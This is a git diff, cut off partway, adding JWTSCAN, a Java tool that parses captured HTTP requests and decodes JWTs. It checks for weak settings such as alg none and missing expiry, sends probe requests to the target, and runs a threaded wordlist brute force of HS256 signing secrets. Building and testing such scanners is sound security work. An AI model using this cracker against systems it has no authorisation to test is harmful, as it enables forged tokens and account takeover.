zerO$n^poYeM6jR1ls?RUwbB-f?kX53H6xhZJceLFX@gl+xvKL$MnruuwnUB?g7AEc8Ka*q99Cy3MRoGYP}i@?^jWAA2` z8T%im3O7<$gZ#)k+(}ceDr(9}pNjBw{9p;u+dt)*R8C(KxjFScR6j1}l^8v-sALmY z$~cjd3j4iog8fH$tdPLm`S=4j1|H5^Gne2tll`92h$2?K1u%&&2w8;986i(M(b90W zv+47}yB!`X28NczM)Q7Gk6k%#PGhMR7=^we7-Omwfhq)@dh?q4URL9{v_!Q}lqkJP zq-ULHaR~-yBu%vq9%QfCJea=gj$@-rgrx~jVvCiBYYibQSLEl_?1`5BFex~WhNHaJqn9ABPEP1qT@5YfofWt{5n8{0P439|Q zm`o$$;>JJeC|81PnbiN|ezQ2}yNh%^_mbWB>Vt!YxbScV5*Q%K>YZqM?e3Rc@-eka z{zR*95@$1`NEimZY|TcGj$eNo4}gD9fmu$LfnaVRIx^{qtCy>OUOQQ^#13j#*CnvM z7f3|hhNYZ%e+ij*8B}PnWJ9cN_tt`zdd2nSHV&2b$zp-?h~#XEE2jb@(cUgdQ~o*N zNl;UHnY)_(d1G-_z|QRTlub+dgAQI;?q$*19fBA9bl*BS=Zli9nh)&n)r_xQq$kPi zp`>v>WKb847~HTNxvqcu2C2O4U8LrKwG%NAnPY|C{ULdzuK?+YtD3w%nm+f-_{v<` zm6uDdC%kHb;deyltIU4w^|vHPHUZ8zvV!dLY5W028E(^5pWLE?CH8QVc<89cPgAQn zFIpRp#167jhEXls(m(E{U*>|1`I0yA6ig>_wHI5%Ll1)YL_`ND=>+P1*%gIb@tbvh(hO7Y zS3B>1K-S`5L+@u5^F*7#4}JvSny1~*;y^X|w7fXC_;AjYe3voQS(SL0c#&vXgtrd5 z?Nc9wq>-FO?IO$C6aZmZ25xAt!7h@rH6YDmz{P&3-@H<4;d!}>;^;H8&?_)Px3l8{u~=tvP;UNl)MMDXZ@c+M!@g z7_%504!!Edi}UoGw-)--V=n3U9WrHuOJrV|(v13+5NpV1GoR;7Yjfk;XwSdG6z>#F ztHFH5E>}2ZO5fhz1IueTMcq{+;)k=prNwZGN_p^Bdx&;@fbhJEkGN-2_lo4dh1By9 zd-V`b-r50i-$A!gVGH{%f2M8y<$Xxn)k_ACFu8n4>no4fZ-qcq3ktnXZ#ncobu@}E zAiC{uFU$x*O_)c&cDtQY?qduLCUm}l4J_`ZlexI&A$N%6tG^}Cuu{3?AP zsDdHLL{z~Ti9RN5${RdA>Rf9nXDiWd?*4EaZfxr z=W^u0(6_&Bns-gpeS~#*;Fikkp5>is`WT%&hTA>UhR;ABLWU3eBk2&zL;zG@QoD`J+HsdtQ^s-e$N_dp#l@rYrEy9C?PMylO*51;wT&(0(QP9ZC2Y14+AD&Tn||;Eyrctl&8CR^|s<*KH)US7M-W z7cz`F`e*Xa#e4a&`MKIdd6l&7HJf`~^Qp?C`jMsXiQBnD57xTo)5-@22UjIcaVqo) z`bbEyILre2A%utAr0nl1-L|{J@!yJX6}pj74|L$y6i8z^TAnPH4B~776%FgtR2K5Q(uPaE`5V8y}kt3-*h$ zi9ww@aO$Wex*+sP-CA81hG8>)JVYDeX=vaIE+xT^PS@CFVN@V1F@%^)^xO&T^FYx-=3-N{O8EX3mQ>@F4jppCC z0nWbBM;U@-ppV)1wrhnueZ}p8AzXjSm^{j0$`>>hLMYBz;2_Dgk=f8n^`6n7Yz@`# zg4=}-{nT&f>h$ycRoBdAZ&AKw#{^Jbxnxz|KLV9Gnpd5#f(s!}%G;b98) zM+%C6Zw;X&NNe}46#|2Fz^eT+r=1s>1!EujeNzNT6qnu^-%F1>S>;!PcDu!MF{aE$3u zM6;`-0E1Pi30)|G$$dbz9}70t=E*udWJRCXR*D^qtYiK-mHNp{Hqo(nxfW}({WX>2 zB*^rIS-x+*G{XE|CIWx*Mae8Az~GTvrIwnq@vx zC0z)o40DqAODLfsCJ;?Q_!GGEoTJ5SB<2pEaSFz%Vts=)0WRSMNV^J|Y!$K8*ZenI zlDk-(jH=UtwIgU4KagbNLichSme5HZVoy9>8k&PDZfPRHhb%E3wg}wKtm@`tQ&QMx>W(kP*awN+%MXNMjQs#!@k2m_ zE7zL)3h5T|9>_DNyk$fzj?X5Ufyr2B`u^gc*8CuYSNr}4mUmPPTP3_04jRmr4MVUg zPLhL%6~1>o5U-Iz+_deSw@;o$E5uvn3zd!j^hj5bCDqX?6a4TETFq`291IX1(cOmf z^*}z|McUcnJiY~42RS}2jX^bFEs7@H{E}}2%C5_r!$^>Yp=wNRCW)3DmwZENHB`Vi z@^fo$rScIs?ScISi@COVm=f8bOR6{uEzp#a#%2f( z?MlDLa>Zq8sG6K=0x=9lc}AJ*qv=m1jaVC$#pL&>L4C6>(kV(yx zc#RCIG@?h_svD-r4ed!f8g^4^G*X!bT;SM8rnGSBCn~}^EE4mFCcEO)g90KPx|Gf8 zYd+ntL#8FZ`TL=res_^|tCgus6?ETO(H{7Vh1=VyKCV}|r%LWL3^8x-Pxp|olX5J_o8b?F>3kVW-6kwtY&x$ zN5e}Pz?1+~qgV}9dcC8;^9mR7G?c4b{nNcgt7;4sh3#Pxfa8$0MreLe^Du#Xv6>`j zW-O}3!(>w?SC^dhT8NPQyX_bwrw)fRfopj07g_3qD3@}vOVbRbz*TNgXt8}+Mc}se$_?OJus$$l*Sq9(0TRl)nN#Du)k&(-pmbfThwh= z5nA+Tse3Aix2U8y+~P$pXRtly@&ncHf_q)WJwSAdUDNtoO6TE>=KB_#W&=~){nd^> zzi_jS&u?yjJ6suDqp7C*hLK$~>aJmE*}$@zTR+0wwLBqMsX^JWjenn@su!D=9-VYcKOLT-L(4K8 zp~2_E5*J|lt`51n`uYHE|77*U+xv=#?%PU(`&Z)|d1)3TRbQ4jh(2x& z&0uU0S{1kY-fT3dt>>hg!w%xoafC^oX3m89TNTuq;sw}BXL)lg(t8w9~gK=l^O;`LK+8k z%ysW$dOZ-}ZDQ}Q8RgXEL00pj-Ec;nR7k-7$o^boG#h6 z2je`)d-xdS7FxS=$7M5v&3EL+O579+S<>j@j`PSq^DNz-^?Gwm<`QUMc!`hg0!#F( zw~rsY!B_goFTG86*V@=3w$y>^FAJh)7%bb{@8Je@m3wbqa@uzA0g>rn;Rh;kN`JeO z#s4&7i}OwZKOLKsBnziB!NTXeLZrD2Tgll+=ke4E8!`qZD)j_~#O*JR<_c$M>4Dr- z(;pgznP$#2#1H+otRkUzU>8n9p}9aWNDFDzlgc!^?FJfsk2tJcJr0IP=V@Y3_p7_C zohOfZ+=|t`Y(H<6^3uyAy9~6(4uFf)M!eJnCDrj4*C21Px^6vaJis1)DN?&feWiRN zzx;tJ8$h~btBj93T1koG6N6^NxXJ7x0KM0GKrxVO)z`{6ac)eDUBt2^zkZyMqji~) znm0BkFQSdIqYgb?&sd`JO(F$H)3C{!rar_LXIoV*yyR=V)_}EJv&;Uw?kUvF@NKb& zX5$$u<+1X4T0izo?n`dC%$inE#N1Y;kDiIP&R7OYzK%G#)E6H%=?^>)Ad04|ni=K7 z1-t@#)j+laNtL0z1N_d1EXwnS#5K}GxCXYN*`B}y@9;)JI7u}7m1>SqEtgsmGIWf z?Q)Wu;=b(05l~hbZSzS((Yb+-Gg&N`pOl^1>J#q<2X$)0;%(QNK4lMyc@-Pal$8Se zh|ZO;d;@Oj%e6eqj}zCTNHbM1HotLdBy#4ld}s6d6zZZ-YJq0{Vg6tqte2+Pd3_Fr zAFZ6#qp9CdJ+9Op1hg;k!cFf*?@YguwY4JRK%7L(XET9QKYIjT>X zU^|2(u;(eVs}~5S-i71tlzi@Mp7sMx;pPYnJ7s=s#8LDgsg~EQ&v#q|MPj=GArR!d z?(=*cSWcM2nVd&sl0XZYV!tL&S5Sm%Ox&d+uj39PNUylv_Nw~F-w=hVicHtzKBTrv z&436=odszt0OgS<=b;c)Nx#}9NC4_*5aKkIAB^1~-@Y-S07=CUqc(**W6qhD$d;-V z2-5?_nD-B^7X-r~H4_IbW;o+F11VuMCFwjAzKVfy7eU~7aNO67(xNPEqUh9MhC8+Q z)8*_vDBc~sL!{w;wHtA6wxX+Fz*cQfoq8B0AM^csglKJgePw*WRlJDXAS8yUkJ|LW zBli94*tt$EiX*3e!v@(J29(J3zINc831B?(~U85+kI+fWn<@k^3XU|8gbK! zJV>YYS<`)XcCf`N=8p+qVskONrL*HnMgwsAUjc#*WO6CBJXt{qWGEVqY>S}Ikxapn zRopae zC9Q(2o$$lry;=|Qy9)05VS<1+aRT}pw~K7!S`7C6c$M^VX(tE9Yn(1)W)EdlPw8GG z5A9AgW)C?L@YcLsoNYfB`AnTeA9t@eB8AjPT`DY^qsJ@(?Ks7f{f!FQt(F5>zScUd zrWDlsVuq#5w_U*rSo9*}>85*qq=V;KDH46ouH)O`g%$yIJR$o+gTuY2(v&#gMo6XA zhmRZ9CE*5y`Z;Pe2;wnuq~{K)RTjsU)!rHno?~zs_I~Q(HO|1yWVXLJq~ReOoG_xc zH0pWlUNcu~XoN0gI}%ZD$eCD`o@{B~be~Df6j$3j6gPdp>(8>ASH0GhgUr8pVaS9* zwK}P;G8`dq4i`0(Bd2PQ1XwfXHs=yhKyhx1lQ8V*Voezuo7U9-Hq1VqoRB+KnUQWN zjXjW$O{D^aDq*Pa>1xb)bUvfH+oDU%%W1Y*YS7)b`Qc&NocbJg)`}DvRjHVqL_~V_ zC^;l9Xi$tT0W)*_*b#OmE3sG?D#nb)RFS`}KfG);&3Cq+I7p&#F}remt1-RTO63c5 zID8=mJ6PL5lRzb9f{_dfsHO-pAWqSUO17?QNkW2}3s`Fd62=#%Py^d4 zg+3BjtuI_63r|q zJJw$;KuD>d90+cKUTT-|&)+^#0O9R~ws4=B3i*1+p_Jk*oLfK8ONYGI!70(*9_A84 z*2qOrm2<-sViAiGR*!i_;-zF%$(rPTR_q{;e#PRY|FzylI6F=khiY92d{|QbMA_bs zF+)5Vn3@$QBQ-TN(#RfZ%!Afa%z+AHdTz=J-vESe-P!l_5*M$0Qn4^Ca>ZhXJd( z8i(EULy__L6Ol^Axl)$)1P<0GI}^~2#+GGOS5!OYB?6ox^UXBlBB>=GPhkma?kQZ8 zh}@m=9!xl`qvFyh?2=pMOci@u=#1YHX4GNyBjk{z|k65`U*E#c4P38B9?$-6s z+Rl9mBYeA;yd8g*-fpCZ*lSdQn0sJso(2MhT1`6u zO0HtozM!9m&&j45MUD=^jge(nOF3@Y+`2fCRmKmydTC)}NHpSAe|_rUsWwv_&tU*+ z>9S#Fsp|%U`L+4A@)tb3_(cJ1>ur^AnG2+=g)rHX(|ov!b#xoD&R{{eh;QCY4Spjp zn{l1T!@{Q2CI#0QcQ1hV+}J1aJ|!uFBh2s_MM?faXy^*Y7cyVcy(=?Y!}K zGuDN969&=iiKsK-3ydo40ml4;R&T7^g>N~n+tJq3G-ug9vxzMmJczyjj7D|sH4SzC z8)=3w7+Ep1X#9mkd`zfs8CDYC5+&+^tGg6HT%3Trp()dki=XSEysX3&RP77~&^b@4 z-O}&|eizjTk+#jRJSAlu>osxKgP(Krc3%u=x@O%PKG?)^)!T5_Je1bsg^L!+U|4Q% z*$dtT{bWlQL%Wgc*L6TtPRwvV-WFBDn(dYN9tbvwWwCHIIM53g1T#{=6n$f(3Iuam zG%r67mn`QdWMD|DB?aS;4S65r(zxYNJ{ zG!Qk`V3|ztQu%vj^Y{@gX$UcA(mr+rNX>S^x&qgFpj9>ID7vJ|=V)<1(E|vc7HPB7 zFq}?cICqVQNS2 zn~kVrmdZhwo{I5yrEHoJ!s>zWFY83L3crAAZ>*MES^P(@@Lv5jD+q|mMoo!>MbXUe| z`m0#9DWlQ0WJe(L<;4-yqythFeh+ztL#8ew=9rmp$08d>(!Uu#{1JWBA(W+30Z4kB z0D3Tw(FY(u1N`+|%?BP3ef+KFW2xt4Xa(5s{$Kx$_0NB{wlk(RbkVc4v3M!~^SqTu ziIr!qJaq&RJSYhAOaIaGpTYrU7Qbt>Q2yTlY^*J5T`VnHlr^l==#jlfD!$~jye&j4 z)7t#>fm3Q>GA;h_bk7^4Kv&~q-|>;lj5+r1>{4Le;8SmHMV97^?ad%P^iwsMi9FV2F@0^x;=j} z@_AAiBckNJeWSYhM@Nk^WnITDZ0W)Yq^obMUPeTDUHY0>9iHmWGyCFP2Q9}Tw)899 zUW9wMlhW9 zz3PE#z4J&}T6#^W8iyiGvO8;cID~8c-dHD78$t6B&&V}t(oH_1K0b?(N+&OtL=lLF zaZ|w~M7JqtVhjOAeqv3P5(=U+1ZapU5wxz7u}?sw@s+(`_@zHMOky3yi+CSQhr{b> z6Y4#5q)imBAnYSo<-tr}c$QT7L66U9)PwQnb%LId9Z|EfAI&8SI5cD}KS_o1@!KRJ zl#wtXvQpM$)ROI8UQjg|zd^HzKw=GoV9mc{knd>Vf?wDJ$?(yPW)mVg97en#OG(Q0 zBZaO`GhDEti8y=zi6SfZwB4$G$X3enrF6Tgj>Z_v_ZsdwIAQ0PJmEF%%3@Yd>MaLD+%A~O1$c{{t*xtgYG?$fq2_GCJE7;E`o_yK% zptUU9PD6&En94gU4dyF#gPSaf`eMIWS*o~+(|r!I(&HEjJx zsCc$orZRvF^A76FhcqRmfSy!ht(%JJqIrIP`MVp45ewbI3mhUvy!U&-hpxp#{c2wI zxPwr>jzS`Z1E9fmU#U3R))MT{@!s1Ibw$?(<#U7KMTxtrnpzmgabS4c@z?etVR=uM zGuYVPAC<&e8{d@XA@(r`A8=ON=w2V?3(cbiia6LAe4fvNGn?LO^h<6;m+zDl+%lTs z$vOS*{{Z}$X6*WPZS4V8yKR4y-k5y$20hj#{vTe!$2SN-18rky=U{4RuizvzBtaui zEhZ%=`a#i#T2yjaROwiXT4HE@QyvaH^iw`51-dFFI;IAOhH45rIXid|IXVV9#)(}* zJ}Qdw*7h9c9>&hg8;+Nt?pHy_cKK+VNvJLbvs-BS-}04-w@^3oPVGog6ATJSNRwW4 zw{!^lX5iepGy(=JaERz-qiI(_uiXIOvJybR$RPhdggpw9{b>j<4)`B``}=eL>GtQ4 z@;D|v)!}*+DEn!7K4gGj|8{#KSN62w=MqzZ)b1~PY*-zzGxn!?*RQTVFAxG$k3RA6 z_{-xDHLqVz&zpJF^ZL^so5}v=^tW2o(@s7o8FS50TpDJSf4#*9drT@A-&jFumKpvDJRf*Kyzu+Id-@DKQ#*JL`;-*>k&^zW z<@wYAN&x-?_J0%9KX2kGkt_L6e8A5<9|@HIYT|dU?dPaZIS(I6V1HVk&kw*W@_WaB zf0qA^681UzQ*N_I-o&4l=R<=3-{}9&qWB#DDGAr(Eb!CveA0;j8~|Fm1|NQvibL6KLtiN|0 zPw@YP{BI`~p29!Qa!)IL059|3mgj>d_BZ^mqS&YIkC*jnY02;I^0I%s|0)i8?*4Sc z|M&ZgFaNju9|QaIYLw?lPq(vvN9qG;b^i6l{ekqnT;Ms<)79U{?XRDf=fk4@JJPSs zu;&<0bGXNK;-8l1BdhZ}#{XP3{uA=wBd5pY?@xP-EQXDrgg`%2!CzDH^PKK68T{pZ z^H1le8Qy>O;@9-|*b8QpfAr!h(63bSv1h-M#iv2=W3u?u@_ZcsZ-9TLj!*BvV+j2; l2>t!FsW<;Wb@cauT2=xKP!9Lv1u@|33*e?iSv>yr{{TeJ)w}=z literal 0 HcmV?d00001 diff --git a/README.md b/README.md index 15615be..691f832 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@ -r 要扫描的完整http请求包路径 指定-r 会发送请求校验安全问题 例: + GET /user/userinfo HTTP/1.1 Host: 127.0.0.1:8081 - Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbklkIjoxMDAwMSwicm4iOiJBUEg2OEpSTXdURWFIN29TZEc2eURwa1c3SXA4bkY5TiJ9.u3xuzKmqKBgcPbTHBk3RitWc25sXfmJCP4ekeZQPKo0 -j 完整的jwt信息 diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..919cab0 --- /dev/null +++ b/pom.xml @@ -0,0 +1,83 @@ + + + 4.0.0 + + org.example + JWTSCAN + 1.0-SNAPSHOT + + + 8 + 8 + + + + + + org.apache.maven.plugins + maven-jar-plugin + 2.6 + + + + true + lib/ + com.su.main + + + + + + org.apache.maven.plugins + maven-dependency-plugin + 3.1.2 + + + copy-dependencies + package + + copy-dependencies + + + ${project.build.directory}/lib + + + + + + + + + + + + com.auth0 + java-jwt + 3.3.0 + + + + + io.jsonwebtoken + jjwt + 0.9.0 + + + + com.alibaba + fastjson + 1.2.74 + + + + + org.codehaus.jackson + jackson-mapper-asl + 1.7.0 + + + + + \ No newline at end of file diff --git a/src/main/java/com/su/analysis/Http_req_pars.java b/src/main/java/com/su/analysis/Http_req_pars.java new file mode 100644 index 0000000..0db2058 --- /dev/null +++ b/src/main/java/com/su/analysis/Http_req_pars.java @@ -0,0 +1,91 @@ +package com.su.analysis; + + +import com.su.util.Regu; + +import java.util.regex.Matcher; + +public class Http_req_pars { + + private String http_text; + + private Boolean is_ssl; + + public void setHttp_text(String http_text) { + this.http_text = http_text; + } + + public Integer getPort() { + return port; + } + + public void setPort(Integer port) { + this.port = port; + } + + private Integer port; + + private String host; + + public String getHttp_text() { + return http_text; + } + + public Jwt_pars getJwt_pars() { + return jwt_pars; + } + + private Jwt_pars jwt_pars; + + public Http_req_pars(String http_text) { + this.http_text=http_text; + } + + public void jwt_pars() { + this.http_text=http_text; + String jwt_re1="(eyJ[A-Za-z0-9_-]*\\.[A-Za-z0-9._-]*)"; + Matcher head_re=Regu.search(jwt_re1,http_text); + if (head_re!=null){ + jwt_pars = new Jwt_pars(head_re.group(1)); + }else { + String jwt_re2="(eyJ[A-Za-z0-9_\\/+-]*\\.[A-Za-z0-9._\\/+-]*)"; + Matcher head_re2=Regu.search(jwt_re1,http_text); + if (head_re2!=null){ + jwt_pars = new Jwt_pars(head_re2.group(1)); + }else { + System.out.println("未匹配到jwt"); + } + } + } + + public void host_pars() { + String re = "Host:\\s(.*)"; + Matcher host_re=Regu.search(re,http_text); + String[] h_p =host_re.group(1).replace(" ","").split(":"); + if (h_p.length != 2){ + setHost(h_p[0]); + setPort(0); + }else { + setHost(h_p[0]); + setPort(Integer.parseInt(h_p[1])); + } + } + + public Boolean getIs_ssl() { + return is_ssl; + } + + public void setIs_ssl(Boolean is_ssl) { + this.is_ssl = is_ssl; + } + + public String getHost() { + return host; + } + + public void setHost(String host) { + this.host = host; + } + + +} diff --git a/src/main/java/com/su/analysis/Http_res_pars.java b/src/main/java/com/su/analysis/Http_res_pars.java new file mode 100644 index 0000000..83ab254 --- /dev/null +++ b/src/main/java/com/su/analysis/Http_res_pars.java @@ -0,0 +1,50 @@ +package com.su.analysis; + +import java.io.BufferedReader; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.nio.charset.Charset; + +public class Http_res_pars { + + private String status_code; + private String body; + + public String getStatus_code() { + return status_code; + } + + public void setStatus_code(String status_code) { + this.status_code = status_code; + } + + public String getBody() { + return body; + } + + public void setBody(String body) { + this.body = body; + } + + public Boolean res_pars(String text) throws IOException { + BufferedReader br = new BufferedReader(new InputStreamReader(new ByteArrayInputStream(text.getBytes()), Charset.forName("utf8"))); + String line; + Boolean body_s =false; + String body=""; + while((line = br.readLine())!= null){ + if (!body_s){ + if (line.equals("")){ + body_s = true; + } + }else { + body += line; + } + } + setBody(body); + + return null; + } + + +} diff --git a/src/main/java/com/su/analysis/Jwt_pars.java b/src/main/java/com/su/analysis/Jwt_pars.java new file mode 100644 index 0000000..2220f88 --- /dev/null +++ b/src/main/java/com/su/analysis/Jwt_pars.java @@ -0,0 +1,54 @@ +package com.su.analysis; + +public class Jwt_pars { + + private String head; + private String payload; + private String secret; + private String jwt_text; + + + public Jwt_pars(String jwt_text) { + this.jwt_text = jwt_text; + String[] jwt_texts = jwt_text.split("\\."); + + if (jwt_texts.length!=3){ return; } + this.head = jwt_texts[0]; + this.payload = jwt_texts[1]; + this.secret = jwt_texts[2]; + } + + public String getHead() { + return head; + } + + public void setHead(String head) { + this.head = head; + } + + public String getPayload() { + return payload; + } + + public void setPayload(String payload) { + this.payload = payload; + } + + public String getSecret() { + return secret; + } + + public void setSecret(String secret) { + this.secret = secret; + } + + public String getJwt_text() { + return jwt_text; + } + + public void setJwt_text(String jwt_text) { + this.jwt_text = jwt_text; + } + + +} diff --git a/src/main/java/com/su/defect/D_Loader.java b/src/main/java/com/su/defect/D_Loader.java new file mode 100644 index 0000000..117820e --- /dev/null +++ b/src/main/java/com/su/defect/D_Loader.java @@ -0,0 +1,160 @@ +package com.su.defect; + +import com.su.analysis.Http_req_pars; +import com.su.analysis.Jwt_pars; +import com.su.defect.brute_force.Jwt_blast_processing1; +import com.su.defect.brute_force.Key_enum; +import com.su.defect.config_defect.Algorithm_rs25; +import com.su.defect.config_defect.Config_head_None; +import com.su.defect.config_defect.F_config_defect; +import com.su.defect.config_defect.JWT_miss_exp; +import com.su.defect.vulnerability.F_vulnerability; +import com.su.defect.vulnerability.None_token; +import com.su.defect.vulnerability.Null_encryption; +import com.su.util.File_Utils; +import com.su.util.Socket_http_utility; +import sun.misc.BASE64Decoder; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import java.util.concurrent.Semaphore; + +public class D_Loader { + + List vulnerabilities = new ArrayList<>(); + List f_config_defects= new ArrayList<>(); + + private Integer thead_num=30; + + public Integer getThead_num() { + return thead_num; + } + + public void setThead_num(Integer thead_num) { + this.thead_num = thead_num; + } + + public String getDictionarie_file() { + return dictionarie_file; + } + + public void setDictionarie_file(String dictionarie_file) { + this.dictionarie_file = dictionarie_file; + } + + private String dictionarie_file=""; + + public D_Loader() { + F_vulnerability none_token = new None_token(); + F_vulnerability null_encryption =new Null_encryption(); + vulnerabilities.add(none_token); + vulnerabilities.add(null_encryption); + + F_config_defect config_None =new Config_head_None(); + F_config_defect jwt_miss_exp =new JWT_miss_exp(); + F_config_defect algorithm_rs25 =new Algorithm_rs25(); + f_config_defects.add(config_None); + f_config_defects.add(jwt_miss_exp); + f_config_defects.add(algorithm_rs25); + + } + + public void jwt_brute_jorce(String dictionarie_path, Integer thead_num, Jwt_pars jwt_pars){ + + Key_enum key_enum = new Key_enum(dictionarie_path,thead_num,jwt_pars); + key_enum.execute_(); + } + + + public void c_dloder(Jwt_pars jwt_pars){ + System.out.println("-------------------扫描jwt配置中可能存在的问题------------------"); + for (F_config_defect f_config_defect:f_config_defects){ + f_config_defect.setJwt_pars(jwt_pars); + Boolean res=f_config_defect.scan(); + if (res){ + System.out.println("+++++++++++++++++++++++++++++++++++++++++++++++++++++++"); + System.out.println("存在配置危险 : "+f_config_defect.getV_name()); + System.out.println("风险等级 : "+f_config_defect.getRisk_level()); + System.out.println("存在配置危险描述 : "+ f_config_defect.getDescribe()); + System.out.println("细节描述 : "+ f_config_defect.getDetails()); + + System.out.println(); + } + } + System.out.println("-------------------------------------------------------------"); + + } + + public void v_loder( Http_req_pars http_req_pars) throws IOException { + + http_req_pars.host_pars(); + System.out.println("-------------------发送请求探测jwt漏洞---------------------"); + //针对默认端口情况下的判断 + if (http_req_pars.getPort()==0){ + http_req_pars.setPort(443); + Boolean t_res = Socket_http_utility.if_is_https(http_req_pars); + if (t_res){ + + http_req_pars.setIs_ssl(true); + }else { + + http_req_pars.setIs_ssl(false); + http_req_pars.setPort(80); + } + }else { + Boolean t_res =false; + t_res = Socket_http_utility.if_is_https(http_req_pars); + if (t_res){ + http_req_pars.setIs_ssl(true); + }else { + http_req_pars.setIs_ssl(false); + } + } + + for (F_vulnerability vulnerability:vulnerabilities){ + vulnerability.setHttp_req_pars(http_req_pars); + Boolean res=vulnerability.scan(); + if (res){ + + System.out.println("++++++++++++++++++++++++++++++++++++++++++++++++++++++"); + System.out.println("存在漏洞 : "+vulnerability.getV_name()); + System.out.println("风险等级 : "+vulnerability.getRisk_level()); + System.out.println("漏洞描述 : "+ vulnerability.getDescribe()); + System.out.println("细节描述 : "+ vulnerability.getDetails()); + System.out.println(); + } + } + Jwt_pars jwt_pars= http_req_pars.getJwt_pars(); + System.out.println("-------------------------------------------------------------"); + } + public void b_loader(Jwt_pars jwt_pars){ + if (dictionarie_file.equals("")){return;} + System.out.println("--------------------------当前爆破jwt密钥------------------------"); + Jwt_blast_processing1.s = new Semaphore(thead_num); + if (dictionarie_file!=""){ + jwt_brute_jorce(dictionarie_file,thead_num,jwt_pars); + } + } + + public void jwt_de_info(Jwt_pars jwt_pars){ + System.out.println("JWT 信息:::"); + System.out.println(jwt_pars.getJwt_text()); + BASE64Decoder decoder = new BASE64Decoder(); + try { + byte[] headbytes = decoder.decodeBuffer(jwt_pars.getHead()); + byte[] payloadytes = decoder.decodeBuffer(jwt_pars.getPayload()); + System.out.println("JWT 信息解密:::"); + System.out.println("jwt HEADER : "+new String(headbytes)); + System.out.println("jwt PAYLOAD : "+new String(payloadytes)); + } catch (IOException e) { + System.out.println("JWT 解密失败...."); + System.exit(0); + e.printStackTrace(); + } + + + + } +} diff --git a/src/main/java/com/su/defect/Defect.java b/src/main/java/com/su/defect/Defect.java new file mode 100644 index 0000000..c9313a8 --- /dev/null +++ b/src/main/java/com/su/defect/Defect.java @@ -0,0 +1,54 @@ +package com.su.defect; + +public abstract class Defect { + private String v_name; + + public String getV_name() { + return v_name; + } + + public void setV_name(String v_name) { + this.v_name = v_name; + } + + public String getDescribe() { + return describe; + } + + public void setDescribe(String describe) { + this.describe = describe; + } + + public String getDetails() { + return details; + } + + public void setDetails(String details) { + this.details = details; + } + + public String getRepair() { + return repair; + } + + public void setRepair(String repair) { + this.repair = repair; + } + private String describe; + + private String details; + + private String repair; + + private String risk_level; + + public String getRisk_level() { + return risk_level; + } + + public void setRisk_level(String risk_level) { + this.risk_level = risk_level; + } + + public abstract Boolean scan(); +} diff --git a/src/main/java/com/su/defect/brute_force/JWT_blast.java b/src/main/java/com/su/defect/brute_force/JWT_blast.java new file mode 100644 index 0000000..9288632 --- /dev/null +++ b/src/main/java/com/su/defect/brute_force/JWT_blast.java @@ -0,0 +1,34 @@ +package com.su.defect.brute_force; + +import com.su.analysis.Jwt_pars; +import com.su.util.En_utility; + +public class JWT_blast{ + + private String text; + + public String getKey() { + return key; + } + + private String key; + private String secret; + + public JWT_blast(String text, String key, String secret) { + this.text = text; + this.key = key; + this.secret = secret; + } + + public Boolean Encryption_comparison(){ + String t_secret=En_utility.en_hs256(this.text,this.key); + if (!t_secret.equals(this.secret)){ + return false; + } + return true; + } + + + + +} diff --git a/src/main/java/com/su/defect/brute_force/Jwt_blast_processing1.java b/src/main/java/com/su/defect/brute_force/Jwt_blast_processing1.java new file mode 100644 index 0000000..e24e61e --- /dev/null +++ b/src/main/java/com/su/defect/brute_force/Jwt_blast_processing1.java @@ -0,0 +1,48 @@ +package com.su.defect.brute_force; + +import java.util.concurrent.Semaphore; + +public class Jwt_blast_processing1 implements Runnable{ + + //当前并发线程数 + public static Semaphore s; + + + public Jwt_blast_processing1(JWT_blast jwt_blast) { + this.jwt_blast = jwt_blast; + } + + private JWT_blast jwt_blast; + + //判断是否成功 + private Boolean j_result=false; + + public static String sec=""; + + public static Boolean success=false; + + @Override + public void run() { + + try { + s.acquire(); + Boolean res = jwt_blast.Encryption_comparison(); + if (res) { + sec = jwt_blast.getKey(); + success = true; + } + s.release(); + }catch (Exception e){ + s.release(); + } + + } + + public Boolean getJ_result() { + return j_result; + } + + public void setJ_result(Boolean j_result) { + this.j_result = j_result; + } +} diff --git a/src/main/java/com/su/defect/brute_force/Key_enum.java b/src/main/java/com/su/defect/brute_force/Key_enum.java new file mode 100644 index 0000000..d31bdd3 --- /dev/null +++ b/src/main/java/com/su/defect/brute_force/Key_enum.java @@ -0,0 +1,59 @@ +package com.su.defect.brute_force; + +import com.su.analysis.Jwt_pars; + +import com.su.util.File_Utils; + +import java.util.List; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; + +public class Key_enum { + + + private String dictionarie_path; + + private Integer thead_num; + + private Jwt_pars jwt_pars; + + public Key_enum(String dictionarie_path, Integer thead_num, Jwt_pars jwt_pars) { + this.dictionarie_path = dictionarie_path; + this.thead_num = thead_num; + this.jwt_pars = jwt_pars; + } + + public void execute_(){ + + String jwt_e = jwt_pars.getHead()+"."+jwt_pars.getPayload(); + List keys = File_Utils.lines_read_array(dictionarie_path); + + + ExecutorService executorService = Executors.newCachedThreadPool(); + for (String key: keys){ + JWT_blast jwt_blast =new JWT_blast(jwt_e,key,jwt_pars.getSecret()); + executorService.execute(new Jwt_blast_processing1(jwt_blast)); + } + executorService.shutdown(); + + try { + while (true){ + if(executorService.isTerminated()){ + break; + } + if (Jwt_blast_processing1.success){ + break; + } + } + + if (Jwt_blast_processing1.success){ + System.out.println("Key cracked successfully"); + System.out.println("Key : "+Jwt_blast_processing1.sec); + }else { + System.out.println("Key cracking failed"); + } + }catch (Exception e){ + + } + } +} diff --git a/src/main/java/com/su/defect/config_defect/Algorithm_rs25.java b/src/main/java/com/su/defect/config_defect/Algorithm_rs25.java new file mode 100644 index 0000000..6f660d9 --- /dev/null +++ b/src/main/java/com/su/defect/config_defect/Algorithm_rs25.java @@ -0,0 +1,28 @@ +package com.su.defect.config_defect; + +import com.alibaba.fastjson.JSONObject; +import sun.misc.BASE64Decoder; + +public class Algorithm_rs25 extends F_config_defect{ + @Override + public Boolean scan() { + + BASE64Decoder decoder = new BASE64Decoder(); + try { + byte[] bytes = decoder.decodeBuffer(getJwt_pars().getHead()); + JSONObject jsonObject = JSONObject.parseObject(new String(bytes)); + String alg =jsonObject.getString("alg"); + if (!alg.equalsIgnoreCase("RS256")){return false; } + 